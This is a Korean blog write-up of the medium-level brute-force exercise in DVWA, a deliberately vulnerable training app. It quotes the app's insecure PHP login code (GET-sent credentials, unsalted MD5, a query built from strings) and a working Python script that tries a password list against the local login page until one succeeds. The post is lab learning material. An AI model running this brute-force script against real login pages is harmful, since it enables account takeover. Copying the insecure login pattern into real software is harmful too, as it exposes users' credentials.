<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
구성 코드이다.
low 레벨일 때와 달라진 점은 sleep(2)로 로그인이 실패했을 때 딜레이를 2초 준다는 점이다.
low에서는 burp suite로 공격을 했지만 딜레이가 생겼기 때문에 더 빠른 공격을 위해서
파이썬으로 공격 코드를 짰다.
import requests
import sys
from urllib.parse import urljoin
from urllib import parse
url = "http://127.0.0.1/dvwa/vulnerabilities/brute/"
with open('weakpass.txt','r') as f:
passwords=f.readlines()
passwords = [i.strip() for i in passwords]
for password in passwords:
param={
'username':'admin',
'password':password,
'Login':'Login'
}
cookies = {
'PHPSESSID': 'hcnsmd8495mod487cr6njk0hni',
'security': 'medium'
}
res=requests.get(url,params=param,cookies=cookies)
print(password)
if "Username and/or password incorrect." not in res.text:
print(f'found password = {password} ')
break
low 레벨에서 사용했던 weakpass.txt 파일을 readlines로 불러오고 strip()으로 끝의 \n 문자를 지워줬다.
low레벨과 마찬가지로 get 방식으로 요청을 받기 때문에 param 값을 조정해서 요청을 보낼 수 있다.
cookie도 설정해서 보내줘야 한다.
응답에 Username and/or password incorrect라는 것이 없으면 로그인에 성공한 것이기 때문에 password를 출력한다.
password를 찾을 수 있다.
'웹해킹 > DVWA' 카테고리의 다른 글
DVWA CSRF(medium) 롸업 (0) | 2023.11.13 |
---|---|
DVWA Command Injection(medium) 롸업 (0) | 2023.11.13 |
DVWA Open HTTP Redirect(low) 롸업 (0) | 2023.11.11 |
DVWA Authorisation Bypass(low) 롸업 (0) | 2023.11.11 |
DVWA JavaScript(low) 롸업 (0) | 2023.11.11 |